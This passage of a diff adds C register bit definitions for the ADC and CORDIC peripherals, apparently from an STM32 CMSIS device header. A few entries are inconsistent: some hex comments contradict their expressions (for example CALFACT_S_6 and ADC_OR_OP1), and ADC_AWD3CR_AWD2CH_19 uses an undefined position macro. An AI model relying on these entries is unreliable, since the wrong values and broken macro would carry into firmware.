(25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR4_OFFSET4_EN_Pos (31U) +#define ADC_OFR4_OFFSET4_EN_Msk (0x1UL << ADC_OFR4_OFFSET4_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_OFFSET4_EN ADC_OFR4_OFFSET4_EN_Msk /*!< ADC offset number 4 enable */ + +/******************** Bit definition for ADC_JDR1 register ******************/ +#define ADC_JDR1_JDATA_Pos (0U) +#define ADC_JDR1_JDATA_Msk (0xFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC group injected sequencer rank 1 conversion data */ + +/******************** Bit definition for ADC_JDR2 register ******************/ +#define ADC_JDR2_JDATA_Pos (0U) +#define ADC_JDR2_JDATA_Msk (0xFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC group injected sequencer rank 2 conversion data */ + +/******************** Bit definition for ADC_JDR3 register ******************/ +#define ADC_JDR3_JDATA_Pos (0U) +#define ADC_JDR3_JDATA_Msk (0xFFFFUL << ADC_JDR3_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR3_JDATA ADC_JDR3_JDATA_Msk /*!< ADC group injected sequencer rank 3 conversion data */ + +/******************** Bit definition for ADC_JDR4 register ******************/ +#define ADC_JDR4_JDATA_Pos (0U) +#define ADC_JDR4_JDATA_Msk (0xFFFFUL << ADC_JDR4_JDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_JDR4_JDATA ADC_JDR4_JDATA_Msk /*!< ADC group injected sequencer rank 4 conversion data */ + +/******************** Bit definition for ADC_AWD2CR register ****************/ +#define ADC_AWD2CR_AWD2CH_Pos (0U) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC analog watchdog 2 monitored channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_AWD3CR register ****************/ +#define ADC_AWD3CR_AWD3CH_Pos (0U) +#define ADC_AWD3CR_AWD3CH_Msk (0xFFFFFUL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x0007FFFF */ +#define ADC_AWD3CR_AWD3CH ADC_AWD3CR_AWD3CH_Msk /*!< ADC analog watchdog 3 monitored channel selection */ +#define ADC_AWD3CR_AWD3CH_0 (0x00001UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD3CR_AWD3CH_1 (0x00002UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD3CR_AWD3CH_2 (0x00004UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD3CR_AWD3CH_3 (0x00008UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD3CR_AWD3CH_4 (0x00010UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD3CR_AWD3CH_5 (0x00020UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD3CR_AWD3CH_6 (0x00040UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD3CR_AWD3CH_7 (0x00080UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD3CR_AWD3CH_8 (0x00100UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD3CR_AWD3CH_9 (0x00200UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD3CR_AWD3CH_10 (0x00400UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD3CR_AWD3CH_11 (0x00800UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD3CR_AWD3CH_12 (0x01000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD3CR_AWD3CH_13 (0x02000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD3CR_AWD3CH_14 (0x04000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD3CR_AWD3CH_15 (0x08000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD3CR_AWD3CH_16 (0x10000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD3CR_AWD3CH_17 (0x20000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD3CR_AWD3CH_18 (0x40000UL << ADC_AWD3CR_AWD3CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD3CR_AWD2CH_19 (0x80000UL << ADC_AWD3CR_AWD2CH_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_DIFSEL register ****************/ +#define ADC_DIFSEL_DIFSEL_Pos (0U) +#define ADC_DIFSEL_DIFSEL_Msk (0xFFFFFUL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_DIFSEL_DIFSEL ADC_DIFSEL_DIFSEL_Msk /*!< ADC channel differential or single-ended mode */ +#define ADC_DIFSEL_DIFSEL_0 (0x00001UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000001 */ +#define ADC_DIFSEL_DIFSEL_1 (0x00002UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000002 */ +#define ADC_DIFSEL_DIFSEL_2 (0x00004UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000004 */ +#define ADC_DIFSEL_DIFSEL_3 (0x00008UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000008 */ +#define ADC_DIFSEL_DIFSEL_4 (0x00010UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000010 */ +#define ADC_DIFSEL_DIFSEL_5 (0x00020UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ***************/ +#define ADC_CALFACT_CALFACT_S_Pos (0U) +#define ADC_CALFACT_CALFACT_S_Msk (0x7FUL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x0000007F */ +#define ADC_CALFACT_CALFACT_S ADC_CALFACT_CALFACT_S_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC_CALFACT_CALFACT_S_0 (0x01UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_CALFACT_S_1 (0x02UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_CALFACT_S_2 (0x04UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_CALFACT_S_3 (0x08UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_CALFACT_S_4 (0x10UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_CALFACT_S_5 (0x20UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_CALFACT_S_6 (0x40UL << ADC_CALFACT_CALFACT_S_Pos) /*!< 0x00000030 */ + +#define ADC_CALFACT_CALFACT_D_Pos (16U) +#define ADC_CALFACT_CALFACT_D_Msk (0x7FUL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x007F0000 */ +#define ADC_CALFACT_CALFACT_D ADC_CALFACT_CALFACT_D_Msk /*!< ADC calibration factor in differential mode */ +#define ADC_CALFACT_CALFACT_D_0 (0x01UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_CALFACT_D_1 (0x02UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT_CALFACT_D_2 (0x04UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT_CALFACT_D_3 (0x08UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT_CALFACT_D_4 (0x10UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT_CALFACT_D_5 (0x20UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT_CALFACT_D_6 (0x40UL << ADC_CALFACT_CALFACT_D_Pos) /*!< 0x00300000 */ + +/******************** Bit definition for ADC_OR register *****************/ +#define ADC_OR_OP0_Pos (0U) +#define ADC_OR_OP0_Msk (0x01UL << ADC_OR_OP0_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP0 ADC_OR_OP0_Msk /*!< ADC Option bit 0 */ +#define ADC_OR_OP1_Pos (1U) +#define ADC_OR_OP1_Msk (0x01UL << ADC_OR_OP1_Pos) /*!< 0x00000001 */ +#define ADC_OR_OP1 ADC_OR_OP1_Msk /*!< ADC Option bit 1 */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register *******************/ +#define ADC_CSR_ADRDY_MST_Pos (0U) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< ADC multimode master ready flag */ +#define ADC_CSR_EOSMP_MST_Pos (1U) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< ADC multimode master group regular end of sampling flag */ +#define ADC_CSR_EOC_MST_Pos (2U) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< ADC multimode master group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_MST_Pos (3U) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< ADC multimode master group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_MST_Pos (4U) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< ADC multimode master group regular overrun flag */ +#define ADC_CSR_JEOC_MST_Pos (5U) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< ADC multimode master group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_MST_Pos (6U) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< ADC multimode master group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_MST_Pos (7U) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< ADC multimode master analog watchdog 1 flag */ +#define ADC_CSR_AWD2_MST_Pos (8U) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< ADC multimode master analog watchdog 2 flag */ +#define ADC_CSR_AWD3_MST_Pos (9U) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< ADC multimode master analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_MST_Pos (10U) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< ADC multimode master group injected contexts queue overflow flag */ + +#define ADC_CSR_ADRDY_SLV_Pos (16U) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< ADC multimode slave ready flag */ +#define ADC_CSR_EOSMP_SLV_Pos (17U) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< ADC multimode slave group regular end of sampling flag */ +#define ADC_CSR_EOC_SLV_Pos (18U) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< ADC multimode slave group regular end of unitary conversion flag */ +#define ADC_CSR_EOS_SLV_Pos (19U) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< ADC multimode slave group regular end of sequence conversions flag */ +#define ADC_CSR_OVR_SLV_Pos (20U) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< ADC multimode slave group regular overrun flag */ +#define ADC_CSR_JEOC_SLV_Pos (21U) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< ADC multimode slave group injected end of unitary conversion flag */ +#define ADC_CSR_JEOS_SLV_Pos (22U) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< ADC multimode slave group injected end of sequence conversions flag */ +#define ADC_CSR_AWD1_SLV_Pos (23U) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< ADC multimode slave analog watchdog 1 flag */ +#define ADC_CSR_AWD2_SLV_Pos (24U) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< ADC multimode slave analog watchdog 2 flag */ +#define ADC_CSR_AWD3_SLV_Pos (25U) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< ADC multimode slave analog watchdog 3 flag */ +#define ADC_CSR_JQOVF_SLV_Pos (26U) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< ADC multimode slave group injected contexts queue overflow flag */ + +/******************** Bit definition for ADC_CCR register *******************/ +#define ADC_CCR_DUAL_Pos (0U) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< ADC multimode mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8U) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< ADC multimode delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DMACFG_Pos (13U) +#define ADC_CCR_DMACFG_Msk (0x1UL << ADC_CCR_DMACFG_Pos) /*!< 0x00002000 */ +#define ADC_CCR_DMACFG ADC_CCR_DMACFG_Msk /*!< ADC multimode DMA transfer configuration */ + +#define ADC_CCR_MDMA_Pos (14U) +#define ADC_CCR_MDMA_Msk (0x3UL << ADC_CCR_MDMA_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_MDMA ADC_CCR_MDMA_Msk /*!< ADC multimode DMA transfer enable */ +#define ADC_CCR_MDMA_0 (0x1UL << ADC_CCR_MDMA_Pos) /*!< 0x00004000 */ +#define ADC_CCR_MDMA_1 (0x2UL << ADC_CCR_MDMA_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_CKMODE_Pos (16U) +#define ADC_CCR_CKMODE_Msk (0x3UL << ADC_CCR_CKMODE_Pos) /*!< 0x00030000 */ +#define ADC_CCR_CKMODE ADC_CCR_CKMODE_Msk /*!< ADC common clock source and prescaler (prescaler only for clock source synchronous) */ +#define ADC_CCR_CKMODE_0 (0x1UL << ADC_CCR_CKMODE_Pos) /*!< 0x00010000 */ +#define ADC_CCR_CKMODE_1 (0x2UL << ADC_CCR_CKMODE_Pos) /*!< 0x00020000 */ + +#define ADC_CCR_PRESC_Pos (18U) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC common clock prescaler, only for clock source asynchronous */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22U) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< ADC internal path to VrefInt enable */ +#define ADC_CCR_TSEN_Pos (23U) +#define ADC_CCR_TSEN_Msk (0x1UL << ADC_CCR_TSEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_TSEN ADC_CCR_TSEN_Msk /*!< ADC internal path to temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24U) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< ADC internal path to battery voltage enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0U) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16U) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0U) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4U) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8U) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16U) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17U) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18U) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19U) +#define CORDIC_CSR_NRES_Msk 